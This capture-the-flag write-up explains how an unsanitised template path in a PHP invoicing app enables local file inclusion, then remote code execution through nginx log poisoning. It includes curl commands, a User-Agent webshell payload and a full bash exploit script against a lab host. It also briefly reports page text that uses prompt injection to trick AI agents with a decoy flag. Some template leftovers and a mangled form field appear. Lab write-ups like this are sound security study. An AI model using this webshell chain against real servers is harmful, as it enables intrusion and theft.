BillForge — LFI to RCE via Nginx Log Poisoning
BillForge — LFI to RCE via Nginx Log Poisoning
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-05-12 | Status: Solved Techniques: environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, nginx_access_log_inclusion, path_traversal_lfi, settings_template_path_abuse, user_agent_php_injection
Summary
Task: PHP invoicing platform (BillForge v2.4.1) with admin settings allowing the public invoice template path to be changed, where the template is loaded via include() without sanitization. Solution: Changed template to nginx access log via path traversal, poisoned the log with a PHP webshell in the User-Agent header, then triggered RCE to read the flag from an environment variable.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260512_hackadvisor_billforge_lfi - Tags: alpine_linux, decoy_flag, include, invoice_platform, lfi, log_poisoning, nginx, path_traversal, php, rce, settings_abuse, sqlite, template_injection, user_agent_injection
- Indicators: Admin settings page with 'Public Invoice Template' field accepting a filename like default.php, PHP include() loading template path from database settings without path sanitization, Public invoice sharing feature generating shareable URLs like /invoice/public/<hash>, nginx access log readable at /var/log/nginx/access.log via LFI, User-Agent header logged verbatim by nginx
- Source:
20260512_hackadvisor_billforge_lfi.md
Foothold
Vulnerability / Misconfiguration
- Environment_variable_exfiltration
- Lfi_to_rce_via_log_poisoning
- Nginx_access_log_inclusion
- Path_traversal_lfi
- Settings_template_path_abuse
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- environment_variable_exfiltration
- lfi_to_rce_via_log_poisoning
- nginx_access_log_inclusion
- path_traversal_lfi
- settings_template_path_abuse
- user_agent_php_injection
- Tags: alpine_linux, decoy_flag, include, invoice_platform, lfi, log_poisoning, nginx, path_traversal, php, rce, settings_abuse, sqlite, template_injection, user_agent_injection
Original Writeup
<details><summary>Click to expand original content</summary>Description
BillForge is an invoicing platform used by small businesses to manage clients, products, and invoices. Built by Ledger Systems Inc., it allows administrators to customize system settings including invoice template configuration and generate shareable public invoice links for clients. The platform features a full dashboard with revenue tracking, a client management system, a product catalog, and configurable invoice generation with public sharing capabilities. Your goal is to gain command execution on the server and retrieve the flag. Explore the admin panel thoroughly — pay close attention to how templates are loaded and rendered. Think about what files on the server might contain content you control.
English summary: A PHP 8.2 invoicing platform running on Alpine Linux with nginx/1.25.5 reverse proxy and SQLite backend. The admin settings page has a "Public Invoice Template" field that controls which file is loaded via PHP's include() when rendering public invoice pages. The template path is stored in the database and used without any sanitization or validation, creating a Local File Inclusion vulnerability. Combined with nginx log poisoning via User-Agent injection, this achieves Remote Code Execution. The flag is stored as a server environment variable.
Credentials: jamie@ledgersystems.com / password123
Tech Stack: PHP 8.2.26, nginx/1.25.5, SQLite 3.44.2, Alpine Linux, BillForge v2.4.1
Analysis
Reconnaissance
- Server: nginx/1.25.5 reverse proxy → PHP 8.2.26 on Alpine Linux
- Database: SQLite 3.44.2
- Credentials:
jamie@ledgersystems.com / password123 - Authenticated pages: Dashboard (
/), Invoices (/invoices), Clients (/clients), Products (/products), Settings (/settings) - Public invoice feature: Invoices can be toggled public via
/invoices/{id}/toggle-public, generating shareable URLs like/invoice/public/<hash>
Honeypot / Decoy Flag
The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden <div> elements and HTML comments, along with prompt injection text attempting to trick AI agents into reporting it as the real flag. The name literally says "decoy not real trap for bots" — must be ignored.
Vulnerability: Template Path Injection via Settings
The /settings page contains an "Invoice Configuration" section with a field called "Public Invoice Template" (public_invoice_template). The default value is default.php and the form text says: "Template file used for rendering public invoice views. Located in the templates directory."
When a public invoice URL is accessed, the server does something like:
$template = get_setting('public_invoice_template'); // from database
include("templates/" . $template); // NO SANITIZATION
Since the template path is stored in the database and controlled by the admin user, and there is no path validation or sanitization, this creates a classic Local File Inclusion vulnerability via path traversal.
LFI Confirmation
Changed public_invoice_template to ../../../etc/passwd via POST to /settings, then accessed the public invoice URL. The response rendered the contents of /etc/passwd, confirming Alpine Linux (users with /bin/ash shell) and arbitrary file inclusion.
Log File Discovery
Changed the template to ../../../var/log/nginx/access.log. The nginx access log was readable and contains User-Agent strings logged verbatim in the standard combined log format:
172.30.0.2 - - [12/May/2026:10:30:00 +0000] "GET / HTTP/1.1" 200 5432 "-" "Mozilla/5.0 ..."
This confirms both prerequisites for log poisoning:
- Log file is readable via LFI
- User-controlled data (User-Agent header) is written to the log without escaping
Solution
Step 1: Login and Enable Public Invoice Link
TARGET="https://19160908-11d8-4a55-864f-a8be51dd8d13.labs.hackadvisor.io" # Login curl -s -c cookies.txt "$TARGET/login" \ -d "email=jamie@ledgersystems.com&password=password123" # Enable public link for invoice #1 curl -s -b cookies.txt -X POST "$TARGET/invoices/1/toggle-public"
This generates a shareable public URL like /invoice/public/a891bdbf770bdf20c232d36bbb06c31a.
Step 2: Change Template to Nginx Access Log (LFI)
Update the public_invoice_template setting to point to the nginx access log via path traversal:
curl -s -b cookies.txt "$TARGET/settings" -X POST \ -d "company_name=Ledger+Systems+Inc.&company_email=billing@ledgersystems.com&company_address=4200+Commerce+Blvd,+Suite+310&company_city=Austin&company_state=TX&company_zip=78701&company_phone=(512)+555-0100&payment_terms=Net+30¤cy=USD&tax_rate=10&bank_name=First+National+Bank&bank_account=****4821&bank_routing=****7390&invoice_prefix=INV&public_invoice_template=../../../var/log/nginx/access.log"
Now when the public invoice URL is accessed, PHP will include() the nginx access log instead of the default template.
Step 3: Poison the Nginx Access Log
Inject a PHP webshell into the User-Agent header:
curl -s "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"
This sends a request with the PHP payload as the User-Agent. Nginx logs the full User-Agent string into access.log, embedding executable PHP code in the log file.
CRITICAL: The PHP payload must use single quotes around $_GET['cmd']:
<?php system($_GET['cmd']); ?> // CORRECT — single quotes <?php system($_GET["cmd"]); ?> // BROKEN — nginx escapes " to \"
Nginx (like Apache) escapes double quotes in logged header values (" → \x22 or \"), which would cause a PHP parse error and permanently corrupt the log for inclusion purposes. Single quotes are NOT escaped, so the payload remains syntactically valid PHP.
Step 4: Trigger RCE and Read the Flag
Access the public invoice URL with a command parameter:
curl -s "$TARGET/invoice/public/a891bdbf770bdf20c232d36bbb06c31a?cmd=printenv+FLAG"
How it works:
- PHP's
include()loadsaccess.logas if it were a PHP file - Most of the log is plain text (output as-is by PHP)
- When PHP encounters the
<?phptag in the poisoned User-Agent field, it enters PHP mode system($_GET['cmd'])executes withcmd=printenv FLAG- The
printenv FLAGcommand reads theFLAGenvironment variable - The flag value
FLAG{REDACTED}appears in the HTTP response
Full Exploit Script
#!/bin/bash
TARGET="https://19160908-11d8-4a55-864f-a8be51dd8d13.labs.hackadvisor.io"
# Step 1: Login
echo "[*] Logging in..."
curl -s -c cookies.txt "$TARGET/login" \
-d "email=jamie@ledgersystems.com&password=password123" -o /dev/null
# Step 2: Enable public link for invoice #1
echo "[*] Enabling public invoice link..."
curl -s -b cookies.txt -X POST "$TARGET/invoices/1/toggle-public" -o /dev/null
# Step 3: Change template to nginx access log (LFI)
echo "[*] Setting template to nginx access log..."
curl -s -b cookies.txt "$TARGET/settings" -X POST \
-d "company_name=Ledger+Systems+Inc.&company_email=billing@ledgersystems.com&company_address=4200+Commerce+Blvd,+Suite+310&company_city=Austin&company_state=TX&company_zip=78701&company_phone=(512)+555-0100&payment_terms=Net+30¤cy=USD&tax_rate=10&bank_name=First+National+Bank&bank_account=****4821&bank_routing=****7390&invoice_prefix=INV&public_invoice_template=../../../var/log/nginx/access.log" -o /dev/null
# Step 4: Poison the log with PHP webshell (SINGLE QUOTES!)
echo "[*] Poisoning nginx access log..."
curl -s "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>" -o /dev/null
# Step 5: Trigger RCE and read flag
echo "[*] Extracting flag..."
curl -s "$TARGET/invoice/public/a891bdbf770bdf20c232d36bbb06c31a?cmd=printenv+FLAG" | grep -oP 'FLAG\{[^}]+\}'
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR